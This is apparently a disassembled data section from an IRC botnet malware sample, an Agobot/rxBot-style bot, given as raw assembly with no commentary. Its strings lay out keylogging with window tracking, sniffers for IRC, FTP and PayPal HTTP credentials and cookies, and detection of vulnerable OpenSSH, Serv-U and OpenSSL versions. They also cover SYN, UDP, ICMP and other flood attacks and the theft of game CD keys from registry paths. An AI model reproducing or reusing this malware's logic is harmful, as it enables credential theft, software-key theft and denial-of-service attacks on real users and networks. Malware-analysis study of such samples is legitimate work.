		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C914h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
